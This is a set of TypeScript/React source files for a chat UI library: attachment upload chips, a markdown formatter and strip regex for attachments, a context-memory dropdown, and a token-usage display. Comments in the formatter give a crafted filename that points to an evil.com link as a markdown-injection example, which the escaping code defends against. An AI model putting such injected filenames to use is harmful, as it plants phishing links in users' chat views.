*   2. `<ChatAttachmentAddButton>` — the standalone `+` glyph.\n *      Renders INLINE in the bottom-controls row alongside the\n *      `ModelDisplay` (BELOW the textarea, 2026 pattern).\n *      `attachmentsEnabled` arrives as a prop — the hub wires the\n *      `useChatIdentity().attachmentsEnabled` boolean; embedders supply\n *      their own gate. Reserves layout space when disabled\n *      (visibility, not display) so the row's width doesn't jump\n *      when chat-identity resolves.\n *\n * UI principles applied:\n *   - Borderless icon-only `+` (Claude.ai compose-box style).\n *   - Chips strip floats above input, dismissible per-file via ×.\n *   - All colors via ODS tokens; NO hex anywhere.\n *   - NO `capture=\"environment\"` on the file input — iOS Safari would\n *     force camera-only mode and disable file picking.\n */\n\nimport { useEffect, useRef, useState } from 'react'\nimport { PlusIcon } from '../icons-v2-generated/signs-and-symbols/plus-icon'\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon'\nimport { Button } from '../ui/button'\nimport { cn } from '../../utils/cn'\nimport { ANTHROPIC_SUPPORTED_IMAGE_MIME } from './utils/chat-attachment-markdown'\n\n/** Chip strip / chip density. `compact` shrinks the thumbnail, padding, text\n *  and max-width for narrow surfaces (e.g. the ticket-drawer reply composer);\n *  `default` is the global Ask-AI chat sizing. */\nexport type ChatAttachmentSize = 'default' | 'compact'\n\n// ===========================================================================\n// CONSTANTS & TYPES — inlined from hub `lib/config/chat-attachment-config.ts`\n// ===========================================================================\n\n/** Hand-curated chat-attachment allow-list. Intentionally excludes\n *  `image/svg+xml` for XSS safety. */\nexport const CHAT_ATTACHMENT_MIME_TYPES = [\n  'image/jpeg',\n  'image/png',\n  'image/webp',\n  'image/gif',\n  'video/mp4',\n  'video/webm',\n  'video/quicktime',\n] as const\n\n/** Client-side cap on `addFiles` (the upload hook rejects 6+ files in a\n *  single selection). Server-side is per-IP-rate-limit; this is a UX\n *  hint more than a security boundary. */\nexport const CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER = 5\n\ntype Status = 'sniffing' | 'uploading' | 'ready' | 'error'\n\n/** Staged-attachment shape consumed by the chip strip. Mirrors the hub\n *  `StagedAttachment` produced by `useChatAttachments`. */\nexport interface StagedAttachment {\n  /** Stable client-side id; survives across re-renders. */\n  id: string\n  file: File\n  status: Status\n  /** Set when `status === 'ready'`. Server-issued. */\n  storagePath?: string\n  /** Set when `status === 'ready'`. Server-issued HMAC view token. */\n  viewToken?: string\n  /** 0-100 during 'uploading'. */\n  progress: number\n  /** Set when `status === 'error'`. */\n  errorMessage?: string\n}\n\n// ===========================================================================\n// `+` ADD BUTTON — inline in the bottom-controls row (below input)\n// ===========================================================================\n\nexport interface ChatAttachmentAddButtonProps {\n  /** Auth-gate flag. Hub passes `useChatIdentity().attachmentsEnabled`;\n   *  embedders supply their own boolean. Disabled state collapses the\n   *  button to a layout-reserving invisible placeholder. */\n  attachmentsEnabled: boolean\n  /** Current attachment count — drives the limit-reached disabled state. */\n  attachmentsCount: number\n  onAddFiles: (files: FileList | File[]) => void\n  /** External disable (e.g. while chat is streaming). */\n  disabled?: boolean\n  /** Density. `compact` renders a smaller 24×24 button for narrow surfaces\n   *  (ticket-drawer composer); `default` is the 28×28 global-chat button. */\n  size?: ChatAttachmentSize\n}\n\n/**\n * Settled `+` icon-only button for the bottom-controls row.\n *\n * LAYOUT STABILITY — first-paint placeholder pattern:\n *   `attachmentsEnabled` typically resolves ASYNCHRONOUSLY on mount\n *   (hub's `useChatIdentity()` round-trip ~100-500ms). When the flag is\n *   false (loading OR anon final state), the component renders an\n *   INVISIBLE placeholder `<span>` with the same `h-7 w-7 shrink-0`\n *   footprint as the real button. The placeholder reserves layout space\n *   from the very first paint; if `attachmentsEnabled` flips to `true`\n *   the button replaces the placeholder at the IDENTICAL 28×28\n *   position — ZERO shift.\n *\n *   Truly-anon users see the invisible 28×28 spacer permanently —\n *   acceptable trade-off vs the universal jump on every panel open.\n */\nexport function ChatAttachmentAddButton({\n  attachmentsEnabled,\n  attachmentsCount,\n  onAddFiles,\n  disabled = false,\n  size = 'default',\n}: ChatAttachmentAddButtonProps) {\n  const fileInputRef = useRef<HTMLInputElement | null>(null)\n  const compact = size === 'compact'\n  // Keep the placeholder footprint in lockstep with the real button size so\n  // there's zero layout shift when `attachmentsEnabled` resolves.\n  const boxClass = compact ? 'h-6 w-6' : 'h-7 w-7'\n\n  if (!attachmentsEnabled) {\n    return <span aria-hidden=\"true\" className={cn('inline-block shrink-0', boxClass)} />\n  }\n\n  const slotsAvailable = Math.max(\n    0,\n    CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER - attachmentsCount,\n  )\n  const canAddMore = slotsAvailable > 0 && !disabled\n\n  const handlePick = () => {\n    if (!canAddMore) return\n    fileInputRef.current?.click()\n  }\n\n  return (\n    <>\n      <input\n        ref={fileInputRef}\n        type=\"file\"\n        multiple\n        accept={CHAT_ATTACHMENT_MIME_TYPES.join(',')}\n        className=\"hidden\"\n        onChange={(e) => {\n          const files = e.target.files\n          if (files && files.length > 0) {\n            onAddFiles(files)\n          }\n          // Reset so picking the same file twice in a row works\n          // (browsers don't refire change on identical selection).\n          e.target.value = ''\n        }}\n      />\n      <Button\n        type=\"button\"\n        variant=\"transparent\"\n        size=\"small\"\n        onClick={handlePick}\n        disabled={!canAddMore}\n        aria-label={canAddMore ? 'Add attachments' : 'Attachment limit reached'}\n        title={\n          canAddMore\n            ? 'Add attachments'\n            : `Limit reached (${CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER})`\n        }\n        leftIcon={<PlusIcon className={compact ? 'h-3.5 w-3.5' : 'h-4 w-4'} />}\n        className={cn('!p-0 shrink-0 text-ods-text-muted hover:text-ods-text-primary', compact ? '!h-6 !w-6' : '!h-7 !w-7')}\n      />\n    </>\n  )\n}\n\n// ===========================================================================\n// CHIP STRIP — above input, only when chips exist\n// ===========================================================================\n\nexport interface ChatAttachmentChipStripProps {\n  attachments: StagedAttachment[]\n  onRemove: (id: string) => void\n  /** External disable (e.g. while chat is streaming). */\n  disabled?: boolean\n  /** Density. `compact` (smaller thumbnail/padding/text, narrower chips) suits\n   *  narrow surfaces like the ticket-drawer reply composer; `default` is the\n   *  global Ask-AI chat sizing. */\n  size?: ChatAttachmentSize\n}\n\n/**\n * Horizontal strip of file chips that appears ABOVE the input when one\n * or more attachments are staged. Returns `null` when empty — no\n * permanent UI footprint.\n */\nexport function ChatAttachmentChipStrip({\n  attachments,\n  onRemove,\n  disabled = false,\n  size = 'default',\n}: ChatAttachmentChipStripProps) {\n  if (attachments.length === 0) return null\n  const compact = size === 'compact'\n  return (\n    <div className={cn('flex-shrink-0', compact ? 'px-3 pb-1.5' : 'px-5 pb-2')}>\n      <div className={cn('flex items-center flex-wrap', compact ? 'gap-1.5' : 'gap-2')}>\n        {attachments.map((att) => (\n          <AttachmentChip\n            key={att.id}\n            attachment={att}\n            onRemove={() => onRemove(att.id)}\n            disabled={disabled}\n            size={size}\n          />\n        ))}\n      </div>\n    </div>\n  )\n}\n\n// ---------------------------------------------------------------------------\n// AttachmentChip — single row inside the chip strip\n// ---------------------------------------------------------------------------\n\ninterface AttachmentChipProps {\n  attachment: StagedAttachment\n  onRemove: () => void\n  disabled: boolean\n  size?: ChatAttachmentSize\n}\n\nfunction AttachmentChip({ attachment, onRemove, disabled, size = 'default' }: AttachmentChipProps) {\n  const { file, status, progress, errorMessage } = attachment\n  const isImage = (ANTHROPIC_SUPPORTED_IMAGE_MIME as readonly string[]).includes(file.type)\n  const compact = size === 'compact'\n\n  // Inline thumbnail for images during STAGING (pre-upload-complete).\n  // Local `URL.createObjectURL` blob — the user sees their image\n  // immediately, no waiting on the upload to finish.\n  const blobUrl = useObjectUrl(isImage ? file : null)\n\n  return (\n    <div\n      className={cn(\n        'flex items-center rounded-md border border-ods-border bg-ods-card',\n        compact ? 'gap-1.5 px-1.5 py-1 max-w-[180px]' : 'gap-2 px-2 py-1.5 max-w-[240px]',\n      )}\n      role=\"group\"\n      aria-label={`Attachment ${file.name}`}\n    >\n      {/* Thumbnail OR file-type initials */}\n      <div\n        className={cn(\n          'relative shrink-0 overflow-hidden rounded bg-ods-bg',\n          compact ? 'h-6 w-6' : 'h-8 w-8',\n        )}\n      >\n        {isImage && blobUrl ? (\n          // eslint-disable-next-line @next/next/no-img-element -- blob: URLs\n          //  cannot go through next/image; this is a transient pre-upload\n          //  preview, NOT the chat-history render path.\n          <img src={blobUrl} alt={file.name} className=\"h-full w-full object-cover\" />\n        ) : (\n          <div className={cn('flex h-full w-full items-center justify-center font-mono uppercase text-ods-text-muted', compact ? 'text-[9px]' : 'text-[10px]')}>\n            {extLabel(file.name)}\n          </div>\n        )}\n        {/* Progress overlay during 'uploading' state */}\n        {status === 'uploading' && (\n          <div className=\"absolute inset-x-0 bottom-0 h-1 bg-ods-bg\">\n            <div\n              className=\"h-full bg-ods-accent transition-[width]\"\n              style={{ width: `${progress}%` }}\n            />\n          </div>\n        )}\n      </div>\n\n      {/* Filename + status */}\n      <div className=\"min-w-0 flex-1\">\n        <div className=\"truncate text-ods-text-primary text-h6\" title={file.name}>\n          {file.name}\n        </div>\n        {/* Compact mode hides the size/status sub-line for ready files to keep the\n            chip to a single line; uploading/error states still surface. */}\n        {(!compact || status !== 'ready') && (\n          <div className=\"text-ods-text-muted text-h6\">\n            {status === 'sniffing' && 'Checking…'}\n            {status === 'uploading' && `${progress}% · ${formatFileSize(file.size)}`}\n            {status === 'ready' && formatFileSize(file.size)}\n            {status === 'error' && (\n              <span className=\"text-ods-error\" title={errorMessage}>\n                {errorMessage ?? 'Upload failed'}\n              </span>\n            )}\n          </div>\n        )}\n      </div>\n\n      {/* Remove button — UI-Kit Button with `transparent` + `small`. */}\n      <Button\n        type=\"button\"\n        variant=\"transparent\"\n        size=\"small\"\n        onClick={onRemove}\n        disabled={disabled}\n        aria-label={`Remove ${file.name}`}\n        leftIcon={<XmarkIcon className={compact ? 'h-3 w-3' : 'h-3.5 w-3.5'} />}\n        className={cn('!p-0 shrink-0 text-ods-text-muted hover:text-ods-text-primary', compact ? '!h-4 !w-4' : '!h-5 !w-5')}\n      />\n    </div>\n  )\n}\n\n// ---------------------------------------------------------------------------\n// Helpers\n// ---------------------------------------------------------------------------\n\n// formatFileSize was previously inlined here as a copy of the hub's helper. It\n// now lives in `../../utils/format.ts` (lifted during the doc-viewer unification).\n// Imported at the top of this file.\n\nfunction extLabel(fileName: string): string {\n  const dot = fileName.lastIndexOf('.')\n  if (dot === -1 || dot === fileName.length - 1) return '?'\n  return fileName.slice(dot + 1, dot + 4).toLowerCase()\n}\n\n/** Manage an `URL.createObjectURL` blob URL for the lifetime of the\n *  component. Returns null when `file` is null or during SSR.\n *  Revokes on unmount AND when `file` changes. */\nfunction useObjectUrl(file: File | null): string | null {\n  const [url, setUrl] = useState<string | null>(null)\n  useEffect(() => {\n    if (!file) {\n      setUrl(null)\n      return\n    }\n    const next = URL.createObjectURL(file)\n    setUrl(next)\n    return () => URL.revokeObjectURL(next)\n  }, [file])\n  return url\n}\n","/**\n * Shared helper for the host-side markdown formatter ↔ server-side\n * parser pair. Single source of truth so the host-side build (chat\n * bubble render) and the server-side strip (LLM input cleanup) can\n * never drift.\n *\n * Lib-side replacement for the hub's `lib/utils/chat-attachment-markdown.ts`.\n * The hub file pulled its constants from `lib/config/chat-attachment-config`\n * + its `ChatAttachment` type from `lib/types/chat-attachment`. Both are\n * inlined here as lib-local constants/types — they're stable wire-format\n * contracts (the hub's view-route owns the prefix + token-param name; any\n * change is a coordinated migration).\n *\n * URL flavors at a glance:\n *   - HOST-SIDE (user-bubble render): uses the runtime's\n *     `attachmentViewUrlPrefix` (hub default = `/api/storage/view/chat-attachments/`).\n *     Embedded apps override per their reverse-proxy topology.\n *   - SERVER-SIDE (strip regex): uses the constant\n *     `CHAT_ATTACHMENT_VIEW_URL_PREFIX` directly. The chat ROUTE always\n *     runs on the hub, so it always strips on the hub default.\n *   - ANTHROPIC image-blocks: uses the RAW Supabase signed URL — NOT the\n *     proxy URL — because Anthropic's image fetcher doesn't reliably\n *     follow 302 redirects.\n *\n * Security gates inside the formatter:\n *   - Filename markdown chars escaped via `escapeMarkdownInline` so a\n *     name like `screenshot](https://evil.com).png` cannot terminate\n *     the markdown image early and embed an attacker-controlled URL.\n *   - `<` and `>` escaped too — prevents CommonMark autolink expansion\n *     for filenames containing URL-shaped text.\n */\n\n// ---------------------------------------------------------------------------\n// Lib-local constants + types (mirror the hub's chat-attachment-config /\n// chat-attachment.ts). These are wire-format contracts owned by the hub's\n// view route; embedders that want to override the prefix do so via\n// `ChatRuntime.endpoints.attachmentViewUrlPrefix`, not by changing these.\n// ---------------------------------------------------------------------------\n\n/** Hub-default prefix for the view-proxy URL. Embedders override via the\n *  runtime. The server-side strip regex always uses THIS value (server\n *  runs on the hub). */\nexport const CHAT_ATTACHMENT_VIEW_URL_PREFIX = '/api/storage/view/chat-attachments/'\n\n/** Query parameter name for the HMAC view token. */\nexport const CHAT_ATTACHMENT_VIEW_TOKEN_QUERY_PARAM = 't'\n\n/** Subset Anthropic's image content-block API supports. HEIC / video\n *  attachments fall through to the text-marker form so the LLM still sees\n *  a reference even when it can't visually parse the file. */\nexport const ANTHROPIC_SUPPORTED_IMAGE_MIME = [\n  'image/jpeg',\n  'image/png',\n  'image/webp',\n  'image/gif',\n] as const\n\n/**\n * Wire shape for a single chat attachment.\n *\n * `viewToken` is server-issued (HMAC-signed) and embedded in the markdown\n * URL's `?t=` query parameter. The client never generates it — the upload\n * route returns it alongside the storage path.\n */\nexport interface ChatAttachment {\n  storagePath: string\n  viewToken: string\n  contentType: string\n  fileName: string\n  size: number\n}\n\n// ---------------------------------------------------------------------------\n// URL building\n// ---------------------------------------------------------------------------\n\n/**\n * Build the markdown view-URL for a chat attachment.\n *\n * `viewUrlPrefix` is parameterized (NOT pulled from the constant) so\n * host-side callers can pass the runtime's prefix\n * (`ChatRuntime.endpoints.attachmentViewUrlPrefix`) — embedded apps\n * supply an absolute URL against the hub's origin so chat-history\n * markdown works cross-origin.\n *\n * Server-side callers (the strip regex source) should pass\n * `CHAT_ATTACHMENT_VIEW_URL_PREFIX` directly.\n */\nexport function buildChatAttachmentViewUrl(\n  viewUrlPrefix: string,\n  storagePath: string,\n  viewToken: string,\n): string {\n  return `${viewUrlPrefix}${storagePath}?${CHAT_ATTACHMENT_VIEW_TOKEN_QUERY_PARAM}=${encodeURIComponent(viewToken)}`\n}\n\n// ---------------------------------------------------------------------------\n// Markdown formatter\n// ---------------------------------------------------------------------------\n\n/**\n * Escape inline-markdown special characters from a filename before\n * interpolation. Closes the markdown-injection / phishing primitive:\n * a filename like `screenshot](https://evil.com).png` would otherwise\n * terminate `![filename](...)` early and emit an attacker-controlled\n * URL in the user's bubble.\n *\n * Escapes: `[`, `]`, `(`, `)`, `\\`, `\\n`, `\\r`, `<`, `>`, `\"`.\n */\nexport function escapeMarkdownInline(text: string): string {\n  return text.replace(/[[\\]()\\\\\\n\\r<>\"]/g, (ch) => {\n    switch (ch) {\n      case '\\n':\n        return ' '\n      case '\\r':\n        return ''\n      default:\n        return `\\\\${ch}`\n    }\n  })\n}\n\n/**\n * Format a single chat-attachment as a markdown line to append to the\n * user's bubble text BEFORE sending.\n *\n * Images (MIME in `ANTHROPIC_SUPPORTED_IMAGE_MIME`) emit the `![]()`\n * image form so the browser renders the attachment inline. Everything\n * else (HEIC, video, audio) emits the `[Attached: ...]` link form so the\n * bubble shows a clickable file pill instead of a broken-image icon.\n */\nexport function formatChatAttachmentMarkdownForBubble(\n  att: ChatAttachment,\n  viewUrlPrefix: string,\n): string {\n  const safeName = escapeMarkdownInline(att.fileName)\n  const url = buildChatAttachmentViewUrl(viewUrlPrefix, att.storagePath, att.viewToken)\n  const isImage = (ANTHROPIC_SUPPORTED_IMAGE_MIME as readonly string[]).includes(att.contentType)\n  return isImage ? `\\n\\n![${safeName}](${url})` : `\\n\\n[Attached: ${safeName}](${url})`\n}\n\n// ---------------------------------------------------------------------------\n// Server-side strip regex + parser\n// ---------------------------------------------------------------------------\n\n/**\n * Module-private: the `CHAT_ATTACHMENT_VIEW_URL_PREFIX` with regex\n * meta-characters escaped, so it can be safely interpolated into\n * regex sources. Computed ONCE at module load. Exported so other\n * regex-building call sites can share the same source of truth.\n */\nexport const CHAT_ATTACHMENT_VIEW_URL_PREFIX_REGEX_ESCAPED =\n  CHAT_ATTACHMENT_VIEW_URL_PREFIX.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&')\n\n/**\n * Single anchored regex matching both the image (`![]()`) and link\n * (`[Attached: ...]`) forms keyed on the server-side prefix.\n *\n * `gm` flags — multi-line anchored so the regex matches per-line.\n * Non-chat markdown links/images stay untouched because the regex\n * requires the literal `/api/storage/view/chat-attachments/` prefix.\n */\nexport const CHAT_ATTACHMENT_MARKDOWN_PATTERN = new RegExp(\n  `^\\\\s*!?\\\\[[^\\\\]]*\\\\]\\\\(${CHAT_ATTACHMENT_VIEW_URL_PREFIX_REGEX_ESCAPED}[^)]+\\\\)\\\\s*$`,\n  'gm',\n)\n\n/**\n * Strip pre-embedded chat-attachment markdown lines from `text`.\n * Returns the cleaned text + the storage paths extracted from the\n * matched URLs.\n */\nexport function stripChatAttachmentMarkdown(text: string): {\n  stripped: string\n  storagePaths: string[]\n} {\n  const storagePaths: string[] = []\n  const pathExtract = new RegExp(\n    `\\\\(${CHAT_ATTACHMENT_VIEW_URL_PREFIX_REGEX_ESCAPED}([^?)]+)`,\n  )\n  const stripped = text.replace(CHAT_ATTACHMENT_MARKDOWN_PATTERN, (match) => {\n    const m = match.match(pathExtract)\n    if (m && m[1]) storagePaths.push(m[1])\n    return ''\n  })\n  return {\n    stripped: stripped.replace(/\\n{3,}/g, '\\n\\n').trim(),\n    storagePaths,\n  }\n}\n","'use client'\n\n/**\n * `<ChatContextMemoryBar>` — the composer's CONTEXT MEMORY strip\n * (Figma node 271:38656).\n *\n * A one-line summary row pinned to the top of the composer card (\"5 recently\n * viewed items in context\") with a `⋯` trigger that opens a dropdown listing\n * every remembered entity, each removable via its `×`.\n *\n * This is the AMBIENT half of the composer's context UI — the entities the host\n * accumulated from the user's navigation history and sends along with every\n * message — as opposed to `<ChatContextChipStrip>`, which shows the items the\n * user ASSIGNED to the message they're typing. Both sit above the input; memory\n * on top (passive, always the same items), assigned chips closest to the\n * textarea (active selection for this message).\n *\n * The lib owns only the chrome: items and removal are host-fed\n * (`EmbeddableChat`'s `contextMemory` prop), and lead glyphs come from the\n * picker's entity-type icon map via `resolveIcon`. Renders `null` when the host\n * has nothing remembered, so it has no permanent footprint.\n */\n\nimport type * as React from 'react'\nimport { useEffect, useRef, useState } from 'react'\nimport { Ellipsis01Icon } from '../icons-v2-generated/interface/ellipsis-01-icon'\nimport { XmarkCircleIcon } from '../icons-v2-generated/signs-and-symbols/xmark-circle-icon'\nimport { cn } from '../../utils/cn'\nimport { CONTEXT_ICON_CLASS, CONTEXT_LABEL_CLASS, CONTEXT_ROW_CLASS } from './context-items-list'\nimport type { ChatContextItem } from './types/context-item.types'\n\nconst itemKey = (item: { type: string; id: string }) => `${item.type}:${item.id}`\n\nexport interface ChatContextMemoryBarProps {\n  /** Remembered entities, most-recent-first. Empty → the bar renders nothing. */\n  items: ChatContextItem[]\n  /** Drop one entity from the host's memory (dropdown row `×`). When omitted the\n   *  list is read-only. */\n  onRemove?: (item: ChatContextItem) => void\n  /** Lead-glyph resolver — the composer passes its entity-type icon map, so the\n   *  rows match the picker and the assigned chips. */\n  resolveIcon?: (item: ChatContextItem) => React.ReactNode\n  /** External disable (e.g. while a message is streaming). */\n  disabled?: boolean\n  className?: string\n}\n\nexport function ChatContextMemoryBar({\n  items,\n  onRemove,\n  resolveIcon,\n  disabled = false,\n  className,\n}: ChatContextMemoryBarProps) {\n  const [open, setOpen] = useState(false)\n  const rootRef = useRef<HTMLDivElement>(null)\n\n  // Removing the last remembered entity unmounts the bar; close first so a\n  // stale popover can't outlive its trigger.\n  useEffect(() => {\n    if (items.length === 0) setOpen(false)\n  }, [items.length])\n\n  // Outside-press close. Registered only while open. The root wraps BOTH the\n  // trigger and the popover, so a press on the `⋯` (inside root) is ignored here\n  // and handled by the button's own toggle.\n  //\n  // CAPTURE phase (the `true` 3rd arg): the chat lives inside a resizable drawer\n  // whose panel captures pointer events and whose composer sits on a\n  // `contentEditable`; a bubble-phase `document` listener can be pre-empted by\n  // an ancestor's `stopPropagation`, which is why a press outside the popover\n  // wasn't closing it. Capture runs top-down before any of that, so the handler\n  // always fires. `touchstart` covers tap-to-dismiss on touch devices.\n  useEffect(() => {\n    if (!open) return\n    const onOutside = (e: Event) => {\n      if (rootRef.current?.contains(e.target as Node)) return\n      setOpen(false)\n    }\n    document.addEventListener('mousedown', onOutside, true)\n    document.addEventListener('touchstart', onOutside, true)\n    return () => {\n      document.removeEventListener('mousedown', onOutside, true)\n      document.removeEventListener('touchstart', onOutside, true)\n    }\n  }, [open])\n\n  if (items.length === 0) return null\n\n  return (\n    // `relative` anchors the popover to this strip; `bottom-full` floats it\n    // above, matching the context picker's placement over the input.\n    <div\n      ref={rootRef}\n      className={cn(\n        'relative flex items-center gap-[var(--spacing-system-xs)] border-b border-ods-border bg-ods-bg p-[var(--spacing-system-xs)]',\n        className,\n      )}\n      onKeyDown={e => {\n        if (e.key === 'Escape' && open) {\n          e.preventDefault()\n          setOpen(false)\n        }\n      }}\n    >\n      <p className=\"min-w-0 flex-1 truncate text-h6 text-ods-text-secondary\">\n        {items.length} recently viewed {items.length === 1 ? 'item' : 'items'} in context\n      </p>\n\n      <button\n        type=\"button\"\n        aria-label=\"Show remembered context\"\n        aria-expanded={open}\n        title=\"Show remembered context\"\n        onClick={() => setOpen(o => !o)}\n        className={cn(\n          'flex size-4 shrink-0 items-center justify-center rounded outline-none transition-colors [&_svg]:size-4',\n          open ? 'text-ods-text-primary' : 'text-ods-text-secondary hover:text-ods-text-primary',\n          'focus-visible:text-ods-text-primary',\n        )}\n      >\n        <Ellipsis01Icon size={16} />\n      </button>\n\n      {open && (\n        <div\n          role=\"list\"\n          aria-label=\"Remembered context\"\n          // Mirrors `ChatContextPicker`'s popover chrome (border / card bg /\n          // shadow-md) and its scroll cap, so both dropdowns over the composer\n          // read as one component family.\n          className=\"absolute bottom-full right-0 z-50 mb-1 max-h-[min(340px,45vh)] w-[320px] max-w-[90vw] overflow-y-auto overscroll-contain rounded-md border border-ods-border bg-ods-card text-ods-text-primary shadow-md\"\n        >\n          {items.map(item => (\n            // Not a `<button>`: the row itself is inert (only the `×` acts), so\n            // the remove control isn't nested inside another button.\n            <div key={itemKey(item)} role=\"listitem\" className={CONTEXT_ROW_CLASS}>\n              {resolveIcon && <span className={CONTEXT_ICON_CLASS}>{resolveIcon(item)}</span>}\n              <span className={CONTEXT_LABEL_CLASS} title={item.label}>\n                {item.label}\n              </span>\n              {onRemove && (\n                <button\n                  type=\"button\"\n                  onClick={() => onRemove(item)}\n                  disabled={disabled}\n                  aria-label={`Remove ${item.label} from context`}\n                  className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary outline-none transition-colors hover:text-ods-text-primary focus-visible:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 md:size-6\"\n                >\n                  <XmarkCircleIcon className=\"size-4 shrink-0 md:size-6\" />\n                </button>\n              )}\n            </div>\n          ))}\n        </div>\n      )}\n    </div>\n  )\n}\n","\"use client\";\n\nimport React from 'react';\nimport { cn } from '../../utils/cn';\nimport type { ModelDisplayProps, ModelUsageBreakdown } from './types';\nimport { AnthropicLogoGreyIcon, GeminiLogoGreyIcon, OpenaiLogoGreyIcon } from '../icons-v2-generated';\nimport { HoverCard, HoverCardContent, HoverCardTrigger } from '../hover-card';\nimport { Skeleton } from '../ui/skeleton';\n\nconst getProviderIcon = (provider?: string) => {\n  if (!provider) return null;\n\n  const providerLower = provider.toLowerCase();\n\n  switch (providerLower) {\n    case 'anthropic':\n    case 'claude':\n      return <AnthropicLogoGreyIcon className=\"w-4 h-4\" />;\n    case 'openai':\n      return <OpenaiLogoGreyIcon size={16} color=\"currentColor\" />;\n    case 'google':\n    case 'gemini':\n    case 'google-gemini':\n    case 'google_gemini':\n      return <GeminiLogoGreyIcon size={16} />;\n    default:\n      return null;\n  }\n};\n\nconst formatTokenCount = (count: number): string => {\n  if (count >= 1_000_000) {\n    const val = count / 1_000_000;\n    return Number.isInteger(val) ? `${val}M` : `${val.toFixed(1)}M`;\n  }\n  if (count >= 1_000) {\n    const val = count / 1_000;\n    return Number.isInteger(val) ? `${val}K` : `${val.toFixed(1)}K`;\n  }\n  return String(count);\n};\n\nconst hasAnyBreakdownRow = (breakdown?: ModelUsageBreakdown): boolean =>\n  !!breakdown && !!(breakdown.haikuRewriter || breakdown.haikuClassifier || breakdown.haikuSummarizer);\n\nconst ModelDisplay = React.forwardRef<HTMLDivElement, ModelDisplayProps>(\n  (\n    {\n      className,\n      provider,\n      modelName,\n      displayName,\n      usedTokens,\n      contextWindow,\n      breakdown,\n      hitRatePct,\n      inputTokens,\n      outputTokens,\n      ...props\n    },\n    ref,\n  ) => {\n    const icon = getProviderIcon(provider);\n    const name = displayName || modelName;\n\n    // Inline pill: provider icon + model name + \"X / Y tokens used\".\n    // The \"tokens used\" tail renders as soon as `contextWindow` is known\n    // (typically from the leading metadata frame). `usedTokens` lags by a\n    // tick — it only becomes non-null after the first `message_start`\n    // usage frame. Showing \"— / 200K tokens used\" early gives users the\n    // model's capacity context without waiting for the first byte.\n    const inline = (\n      <div\n        ref={ref}\n        className={cn(\n          'flex items-center gap-1 text-ods-text-secondary',\n          'text-h6',\n          className,\n        )}\n        {...props}\n      >\n        {icon && (\n          <span className=\"flex items-center justify-center\">\n            {icon}\n          </span>\n        )}\n        <span className=\"font-body\">\n          {name}\n        </span>\n        {contextWindow != null && (\n          <span className=\"text-h6 opacity-70 ml-auto\">\n            {usedTokens != null ? formatTokenCount(usedTokens) : '—'}/{formatTokenCount(contextWindow)} tokens used\n          </span>\n        )}\n      </div>\n    );\n\n    // Without a breakdown there's no story to tell on hover — return the\n    // bare inline so we don't add a stray pointer cursor / accessibility\n    // chrome on chat surfaces that don't capture cross-call usage.\n    if (!hasAnyBreakdownRow(breakdown)) return inline;\n\n    return (\n      <HoverCard openDelay={150} closeDelay={100}>\n        <HoverCardTrigger asChild>\n          <div className=\"cursor-help\">{inline}</div>\n        </HoverCardTrigger>\n        <HoverCardContent\n          className={cn(\n            'w-80 p-3',\n            'bg-ods-card border-ods-border text-ods-text-primary',\n          )}\n          align=\"end\"\n          sideOffset={6}\n        >\n          <div className=\"text-h6 font-semibold text-ods-text-primary mb-2\">\n            Token breakdown\n          </div>\n          {/* Answer-call row — uses the SAME pretty model name as the\n              inline pill, plus the input/output split that doesn't fit\n              in the inline view. */}\n          <BreakdownRow\n            label={`Answer (${name ?? 'model'})`}\n            input={inputTokens}\n            output={outputTokens}\n            isAnswer\n          />\n          {breakdown!.haikuRewriter && (\n            <BreakdownRow\n              label=\"Query rewriter (Haiku)\"\n              input={breakdown!.haikuRewriter.input}\n              output={breakdown!.haikuRewriter.output}\n            />\n          )}\n          {breakdown!.haikuClassifier && (\n            <BreakdownRow\n              label=\"Intent classifier (Haiku)\"\n              input={breakdown!.haikuClassifier.input}\n              output={breakdown!.haikuClassifier.output}\n            />\n          )}\n          {breakdown!.haikuSummarizer && (\n            <BreakdownRow\n              label=\"History summarizer (Haiku)\"\n              input={breakdown!.haikuSummarizer.input}\n              output={breakdown!.haikuSummarizer.output}\n            />\n          )}\n          {typeof hitRatePct === 'number' && hitRatePct > 0 && (\n            <div className=\"mt-2 pt-2 border-t border-ods-border text-h6 text-ods-text-secondary\">\n              Prompt-cache hit: {hitRatePct}% of answer input\n            </div>\n          )}\n        </HoverCardContent>\n      </HoverCard>\n    );\n  },\n);\n\nfunction BreakdownRow({\n  label,\n  input,\n  output,\n  isAnswer,\n}: {\n  label: string;\n  input?: number;\n  output?: number;\n  isAnswer?: boolean;\n}) {\n  return (\n    <div className=\"flex items-center justify-between py-1 text-h6\">\n      <span\n        className={cn(\n          'text-ods-text-secondary',\n          isAnswer && 'text-ods-text-primary font-medium',\n        )}\n      >\n        {label}\n      </span>\n      <span className=\"text-ods-text-secondary tabular-nums\">\n        {input != null ? formatTokenCount(input) : '—'} in / {output != null ? formatTokenCount(output) : '—'} out\n      </span>\n    </div>\n  );\n}\n\nModelDisplay.displayName = 'ModelDisplay';\n\nexport interface ModelDisplaySkeletonProps extends React.HTMLAttributes<HTMLDivElement> {\n  /** Also render the right-aligned \"tokens used\" tail placeholder. The token\n   *  tail only appears once `contextWindow` is known, so the default skeleton\n   *  shows just the left part (provider icon + model name). */\n  showTokens?: boolean;\n}\n\n/**\n * Loading placeholder for the {@link ModelDisplay} inline pill. Mirrors its\n * layout (provider icon + model name) so the footer doesn't shift when the\n * real model metadata resolves. The \"tokens used\" tail is opt-in via\n * `showTokens`, matching ModelDisplay (which only renders it once the context\n * window is known).\n */\nconst ModelDisplaySkeleton = React.forwardRef<HTMLDivElement, ModelDisplaySkeletonProps>(\n  ({ className, showTokens = false, ...props }, ref) => (\n    <div\n      ref={ref}\n      aria-hidden\n      className={cn('flex items-center gap-1 text-h6', className)}\n      {...props}\n    >\n      {/* provider icon */}\n      <Skeleton className=\"w-4 h-5 rounded-sm shrink-0\" />\n      {/* model name */}\n      <Skeleton className=\"h-5 w-24\" />\n      {/* \"X / Y tokens used\" tail — only when tokens are expected */}\n      {showTokens && <Skeleton className=\"h-3 w-32 ml-auto\" />}\n    </div>\n  ),\n);\n\nModelDisplaySkeleton.displayName = 